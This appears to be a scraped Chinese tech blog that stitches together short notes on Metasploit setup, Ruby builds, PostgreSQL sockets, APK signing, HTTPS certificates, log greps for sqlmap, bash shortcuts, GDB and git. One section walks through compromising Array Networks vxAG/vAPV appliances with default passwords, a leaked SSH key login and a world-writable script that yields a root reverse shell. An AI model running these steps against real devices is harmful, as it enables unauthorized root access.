put it to your MSFPATH/modules/exploits/multi/http/
struts2_s2045_rce.rb:
1 | require 'msf/core' |
put it to your MSFPATH/modules/exploits/multi/http/
struts2_s2045_rce.rb:
1 | require 'msf/core' |
错误详情:
1 | ruby-2.3.3 - #compiling.......................................................................- |
查看/usr/local/rvm/log/1488041042_ruby-2.3.3/make.log发现是openssl版本过老导致的。
解决方案:
第一步:先安装用于rvm的openssl:
1 | rvm pkg install openssl |
第二步:编译安装ruby,指定openssl目录(我的是/usr/local/rvm/usr/)
1 | rvm install ruby-2.3.3 --with-openssl-dir=/usr/local/rvm/usr/ |
PostgreSQL其实并不是一定需要通过端口来连接。
在PostgreSQL的配置中有一项是将PSQL配置成不开放端口,只使用Unix套接字的通信。
具体的内容,可以参考下国内PostgreSQL大神的博客:
https://github.com/digoal/blog/blob/master/201701/20170111_01.md
也就是,在postgresql.conf中,将监听的主机listen_address改成空,即可在不开启端口的情况下进行通信。
如果你的 unix_socket_directories 选项配置的路径是在/tmp,那么在postgresql运行后,你的/tmp下面将会有”.s.PGSQL.5432”这个文件(通过ls -a /tmp 可以查看到)。
如果在配置好listen_address和unix_socket_directories之后,重启postgresql服务,并且/tmp下的套接字文件存在,就说已经配置好。
这时在metasploit的database.yml文件中,配置host为/tmp,用户名和密码可以随便写,数据库名称就写metasploit的数据库。
然后再配置一下postgresql的”pg_hba.conf”文件,
在其中加入local all all trust
将所有来自本地unix域的请求设置为信任。就可以在不开端口的情况下在metasploit中使用postgresql了。
为了安全起见,还可以在
postgresql.conf中,将unix_socket_permissions改为0770,这样可以避免无关用户滥用这个unix接口。
首先,如果没有签名密钥,先生成密钥:
1 | keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore |
接着会提示你输入密码、地区、国家等等,根据提示输入即可。
我这里的用户名和密码都是android
然后使用密钥进行签名
1 | jarsigner -keystore android.keystore -storepass android -keypass android XXX.apk android.keystore |
keytool和jarsigner都是jdk自带的工具,配好环境变量就可以直接在命令行使用的。
这是一个比较老的漏洞了,但是到目前为止仍然有不少厂商在使用这个版本的设备。在渗透中也曾经遇到过。
参考自:https://www.exploit-db.com/exploits/32369/
受影响的产品有: Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances
默认用户和密码
vxAG 9.2.0.34 和 vAPV 8.3.2.17 的/etc/master.passwd 文件中包含了默认用户和密码
1 | $ cat /etc/master.passwd |
破解之后可以得到下列用户和密码:
1 | 用户: mfg 密码: mfg |
test和root用户没破解出来。
其中sync用户默认可以远程登录:
1 | $ssh sync@192.168.2.55 /bin/sh |
SSH 私钥
sync 用户使用了位于 “~/.ssh/id_dsa” 的登录私钥:
1 | $ cat id_dsa |
下列文件位于 ~/.ssh 目录:
1 | $ cat authorized_keys |
如此一来就可以使用这个私钥进入系统:
将下面的id_dsa私钥保存在”synckey”文件中:
1 | cat > ~/synckey << EOF |
修改synckey文件的权限:
1 | chmod 600 ~/synckey |
使用该私钥登录系统:
1 | ssh -i ~/synckey sync@x.x.x.x /bin/sh |
提权
/ca/bin/monitor.sh和 /ca/bin/debug_syn_stat默认是全局可写的 (权限为777).
在monitor.sh文件中写入脚本,通过debug monitor选项重新启动该脚本会以root权限运行。
使用sync用户运行/ca/bin/backend工具,使用如下方式重启debug monitor:
关闭debug monitor:
1 | /ca/bin/backend -c "debug monitor off"`echo -e "\0374"` |
开启debug monitor:
1 | /ca/bin/backend -c "debug monitor on"`echo -e "\0374"` |
在/ca/bin/monitor.sh中写入反弹shell的指令,通过上述操作,即可反弹回一个root shell.
https://startssl.com 这个网站可以给我们免费提供可信任的https证书,这里简单介绍一下配置的过程。
首先服务器需要安装openssl和apache的mod_ssl.so模块,并且需要在httpd.conf中开启这个模块。
完成上述操作之后就可以使用openssl生成你自己的证书了。
这里有些知识你需要了解一下。
https的整个服务中,你需要了解这些文件的作用:
server.key 服务器的私钥
server.crt 服务器的证书文件
server.csr 服务器证书请求文件
root.crt 根证书
这些文件是这样生成的
首先运行
1 | openssl req -new -nodes -keyout chorder.net.key -out chorder.net.csr |
生成服务器证书和服务器证书请求文件,过程中会要求输入很多有关证书的信息和密码。
这一步完成之后会生成两个文件,chorder.net.key和chorder.net.csr
这时候去startssl网站上注册帐号,然后提交自己生成的.csr文件,让startssl为你生成一个
服务器证书和根证书。
把两个.crt结尾的证书拷贝到服务器的/etc/pki/tls/certs/下,把.key和.csr文件拷贝到/etc/pki/tls/private/下。(只针对CentOS服务器,其他服务器请自行百度)。
另外还需要将/etc/pki/tls/下的cert.pem(如果没有则创建一个)链接指向到/etc/pki/tls/certs/root.crt
这样用火狐浏览器访问的时候才不会报 SEC_ERROR_UNKNOWN_ISSUER 这个错误。
这个cert.pem就是证书链,只有当你的服务器证书包含在startssl网站的证书链中,客户端才会认为你的证书是可信的。
最后,修改两个文件。
在该文件中修改以下内容:
指定服务器证书
1 | SSLCertificateFile /etc/pki/tls/certs/chorder.net.crt |
指定服务器私钥
1 | SSLCertificateKeyFile /etc/pki/tls/private/chorder.net.key |
指定服务器证书链
1 | SSLCertificateChainFile /etc/pki/tls/certs/root-bundle.crt |
为你的主机(我这里是虚拟主机)创建配置
我的配置如下
NameVirtualHost *:443
<VirtualHost *:443>
SSLEngine on
SSLCertificateFile /etc/pki/tls/certs/chorder.net.crt
SSLCertificateKeyFile /etc/pki/tls/private/chorder.net.key
SSLCertificateChainFile /etc/pki/tls/cert.pem
ServerName chorder.net
ServerAdmin ×××××
DocumentRoot ×××××
ErrorLog ×××××
CustomLog ×××××
</VirtualHost>
其实就是http配置文件下多加了几行。
配置好这些以后,重启服务,完成。
另外,如果你希望访问你的域名直接跳转到https端口,可以写一段js来跳转,如果觉得
写代码太麻烦,可以在根目录的.htaccess文件中加入这两行来帮你自动跳转:
1 | RewriteCond %{SERVER_PORT} !^443$ |
这样就将默认端口指定为443,并且将所有http的请求重写为https.
不知原文出自哪里,如果您是作者,请私信我补充来源链接。
记录一些排查常见日志的命令,方法wiki,欢迎补充(Markdown 语法)。
1 | cat 2015_7_25_test_access.log | grep "sqlmap" | wc -l |
1 | sed -i '/Indy Library/d' 2015_7_25_test_access.log |
1 | find ./ -name "*.log" |xargs grep "sqlmap" |wc -l |
1 | cat cszl988.log | awk '{print $1}' | awk -F : '{print $2}' | sort -u | wc -l |
1 | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" |
1 | tail 3.log | awk '{print $7}' | sort | uniq -c |
1 | #!/bin/bash |
1 | cat luban.log | grep sqlmap | awk '{print $7}' | xargs python -c 'import sys, urllib; print urllib.unquote(sys.argv[1])' |
1 | [root@pentest temp]# cat luban.log | grep sqlmap | wc -l |
1 | cat luban.log | grep sqlmap | awk '{print $7}' | more |
1 | cat luban.log | grep sqlmap | awk '{print $7}' | xargs python -c 'import sys, urllib; print urllib.unquote(sys.argv[1])' |
| 快捷键 | 操作 |
|---|---|
| Ctrl + a | 移到命令行首 |
| Ctrl + e | 移到命令行尾 |
| Ctrl + f | 按字符前移(右向) |
| Ctrl + b | 按字符后移(左向) |
| Alt + f | 按单词前移(右向) |
| Alt + b | 按单词后移(左向) |
| Ctrl + xx | 在命令行首和光标之间移动 |
| Ctrl + u | 从光标处删除至命令行首 |
| Ctrl + k | 从光标处删除至命令行尾 |
| Ctrl + w | 从光标处删除至字首 |
| Alt + d | 从光标处删除至字尾 |
| Ctrl + d | 删除光标处的字符 |
| Ctrl + h | 删除光标前的字符 |
| Ctrl + y | 粘贴至光标后 |
| Alt + c | 从光标处更改为首字母大写的单词 |
| Alt + u | 从光标处更改为全部大写的单词 |
| Alt + l | 从光标处更改为全部小写的单词 |
| Ctrl + t | 交换光标处和之前的字符 |
| Alt + t | 交换光标处和之前的单词 |
| Alt + Backspace | 与 Ctrl + w 类似 重新执行命令 |
| Ctrl + r | 逆向搜索命令历史 |
| Ctrl + g | 从历史搜索模式退出 |
| Ctrl + p | 历史中的上一条命令 |
| Ctrl + n | 历史中的下一条命令 |
| Alt + . | 使用上一条命令的最后一个参数 控制命令 |
| Ctrl + l | 清屏 |
| Ctrl + o | 执行当前命令,并选择上一条命令 |
| Ctrl + s | 阻止屏幕输出 |
| Ctrl + q | 允许屏幕输出 |
| Ctrl + c | 终止命令 |
| Ctrl + z | 挂起命令 Bang (!)命令 |
| !! | 执行上一条命令 |
| !blah | 执行最近的以 blah 开头的命令,如 !ls |
| !blah:p | 仅打印输出,而不执行 |
| !$ | 上一条命令的最后一个参数,与 Alt + . 相同 |
| !$:p | 打印输出 !$ 的内容 |
| !* | 上一条命令的所有参数 |
| !*:p | 打印输出 !* 的内容 |
| ^blah | 删除上一条命令中的 blah |
| ^blah^foo | 将上一条命令中的 blah 替换为 foo |
| ^blah^foo^ | 将上一条命令中所有的 blah 都替换为 foo |
使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候,需要加上-g参数:
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表,GDB才可以载入。
编译好程序以后,使用gdb test载入程序
添加断点:b 行号
运行:r
单步执行(next):n
跟踪步入(step):s
恢复执行(continue):c
打印变量值(print):p 变量名
查看断点信息:info b
列出源代码(list)l
退出:q
汇编相关:
查看汇编格式:show disassembly-flavor
将汇编格式转换成intel:set disassembly-flavor intel
将汇编格式转换成at&t:set disassembly-flavor att
显示汇编代码:disassemble 函数名
创建本地分支
1 | git branch NAME |
切换本地分支
1 | git checkout NAME |
查看远程分支
1 | git branch -r |
推送本地分支到远程仓库
1 | git push origin NAME |
引用子模块
1 | git submodule add RESPOSITORIES PATH |
克隆带有子模块的项目
1 | git clone XXX |
跟踪其他分支
1 | git remote add upstream XXX.git |
Update your browser to view this website correctly. Update my browser now